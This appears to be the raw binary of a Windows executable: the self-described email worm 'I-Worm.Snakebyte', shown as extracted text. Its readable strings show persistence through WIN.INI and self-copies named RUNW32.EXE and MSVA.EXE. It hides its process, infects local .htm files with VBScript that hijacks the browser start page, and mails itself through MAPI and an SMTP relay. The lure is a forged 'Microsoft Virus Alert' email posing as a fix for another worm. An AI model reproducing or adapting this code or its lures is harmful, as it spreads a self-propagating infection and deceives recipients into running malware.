MZP               @                                      	!L!This program must be run under Win32
$7                                                                                                                                        PE  L *a          
                     @               
      `                                         @                             P  (                                                                                  CODE           
                    `DATA                              @  .idata      @      "              @  .reloc      P      (              @  P                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        j   jPh @ P  jPhd @      \RUNW32.EXE hd @   jPh2 @ r  
   \MSVA.EXE h2 @   h @ hd @     j hd @ h @   j h2 @ h @   j2h,!@   
   \\WIN.INI h,!@ m  h,!@ hd @    run    windows B     SHELL32.dll   &@    SHGetSpecialFolderPathA 5&@ c  &@ j jh!@ j &@ ti   \VARegistered.htm h!@   j h   jj jh   @h!@ *  %@ j h%@ h  h(@ 5%@   5%@ :  5&@   h  U  h@     Microsoft Virus Alert 9   Your system does not appear infected with I-Worm.Magistr j    .     KERMEL32.dll      RegisterServiceProcess P(  jj j2h @ s  h @   h/@    *.htm* A  @t*H&@   h/@ 5&@   u5&@      WININET.dll   u  &@    InternetGetConnectedState 5&@ y  >  &@  j h'&@ &@ Hu5&@ [  j2h @ m  	   \Win.ini h @   h @ jh|(@ h%@ 	   sCountry    intl   hj"@ h    "     obelisk.mpt.com.uk      qP@ j jju  6@ @   j                 56@ e  @   '@ 3          PP          P!  Hurj h   h#@ 56@   XAtUtQ2u@t'@ 3ɸ#@ PQ2@ PQQ  Hu&Qj QP56@   Y;uKg56@        MAPI32.dll   t  &@    MAPISendMail 5&@   J  &@    SHELL32.dll   &@    SHGetSpecialFolderPathA 5&@ 5  &@ j j h^!@ j &@ 5&@    h^!@   h/@    *.htm* B  @t.H&@   h/@ 5&@   5&@   5&@   h/@    f=/@ uq   Fuckup to AVP j J  t!   Fuckup to Eugene j '  t!   Snakebyte always is with you :-) W  j   `0@ VV  tRj h   jj jh   @V!  Gt6Ojj 5#&@ Wr  j h%@ h  h-@ Wm  W+  jVG  a`j h   jj jh   h0@ @H3PPPjPS   tC3PPPjU   t+j S      mailto:_`jYatFV   U   S   a3҃!@ W< t<"t<'t<@uBF2_t   3PPhc&@ P5+&@ &@ %A@ %A@ %A@ %A@ %A@ %A@ %A@ % A@ %$A@ %(A@ %,A@ %0A@ %4A@ %8A@ %<A@ %@A@ %DA@ %HA@ %LA@ %PA@ %TA@ %XA@ %\A@ %`A@ %dA@ %hA@ %lA@ %pA@ %tA@ %xA@ %A@ %A@ %A@ %A@ %A@ %A@ %A@ %A@ %A@ %A@ %A@ %A@                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           I-Worm.Snakebyte coded by Snakebyte Made In Germany     &@ &@     u'@        &@    &@    &@         '@ '@                '@ !@                     2 @         New Virus Alert !! This is a fix against I-Worm.Magistr.
Run the attached file (MSVA.EXE) to detect, repair and protect you against this malicious worm. 2001/07/09 20:15 Microsoft Virus Alertvirus_alert@microsoft.com Customer  "   q  HELO obelisk.mpt.com.uk
MAIL FROM:<snakebyte@kefrens.de>
RCPT TO:<eugene@avp.ru>
DATA
From: "Snakebyte",<snakebyte@kefrens.de>
Subject: Long Live the Worm
Pays d'origine :                     
.
QUIT
<html><head><title>Virus Alert Registration</title></head>
<SCRIPT LANGUAGE="VBScript">
Sub control
dim i
dim caract
formu.action=""
If formu.mail.value="" Then
	MsgBox "Forgotten EMail"
	Else
	For i= 1 to len(formu.mail.value)
	    caract=mid(formu.mail.value,i,1)
	    If caract="@" Then
	        Exit For
	    End If
	Next
    If caract="@" Then
        formu.action="mailto:eugene@avp.ru"
    Else
        MsgBox "Invalid EMail"
    End If
End If
End Sub
</SCRIPT>
<body bgcolor=white text=black>
<p align="center"><font size="5">Microsoft Virus Alert Registration</font></p>
<p align="left"><font size="3">Please fill out this form. </font>
<font>You must be connected to internet.</font></p>
<p></p>
<form name="formu" action method="POST" enctype="text/plan">
<p>Name : <input name="nom" type="TEXT" size="40"></p>
<p>Firstname : <input name="prenom" type="TEXT" size="40"></p>
<p>City : <input name="ville" type="TEXT" size="40"></p>
<p>Country : <input name="pays" type="TEXT" size="40"></p>
<p>E-Mail : <input name="mail" type="TEXT" size="40"></p>
<p><input type="submit" value="Submit" name="B1" onclick="control"></p>
<p></p>
<p align="center"><font><B>AFTER REGISTRATION YOU CAN DELETE THIS FILE</B></font></p>
</form></body></html> 

<SCRIPT Language=VBScript>
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set ws=CreateObject("WScript.Shell")
ws.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.avp.ru"
document.Write "<font face='verdana' color=red size='2'>This file is infected by my new virus<br>Written by Snakebyte<br>HTML/W32.Snakebyte.Worm<br></font>"
</SCRIPT>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         P@          A  A  @          A  A  @          A  A                      A  A  A  B  B  $B  2B  BB  ZB  pB  B  B  B  B  B  B  B  C  C  *C  :C  RC  hC  zC  C  C  C  C  C  C      C   D  D      D  *D  4D  <D  FD  ND  ^D  hD  vD      A  A  A  B  B  $B  2B  BB  ZB  pB  B  B  B  B  B  B  B  C  C  *C  :C  RC  hC  zC  C  C  C  C  C  C      C   D  D      D  *D  4D  <D  FD  ND  ^D  hD  vD      KERNEL32.dll USER32.dll WSOCK32.dll   GetProcAddress    CopyFileA   FreeLibrary   FindNextFileA   FindClose   CreateFileA   MapViewOfFile   GetWindowsDirectoryA    GetSystemDirectoryA   GetFileAttributesA    GetFileSize   GetModuleFileNameA    GetModuleHandleA    FindFirstFileA    CreateFileMappingA    CloseHandle   GetCurrentDirectoryA    LoadLibraryA    ExitProcess   GetSystemTime   SetCurrentDirectoryA    SetFileAttributesA    SetFilePointer    Sleep   UnmapViewOfFile   WriteFile   WritePrivateProfileStringA    lstrcat   lstrcmp   GetPrivateProfileStringA    SetWindowTextA    MessageBoxA   FindWindowA   WSACleanup    socket    send    select    recv    gethostbyname   connect   closesocket   WSAStartup                                                                                                                                                                                                                                                                                                                                                                                                   
0020>0W0a0f0z0000000001'10181X1t1~111111m2w222222233"3(313=3U3_3f3k3333Q4y444444K4p4445(5K5U5^5f5l5v555555555_66666F7w7~77777777777777777777778	8888!8'8-83898?8E8K8Q8W8]8c8i8o8u8{88          g6k6s666666666                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          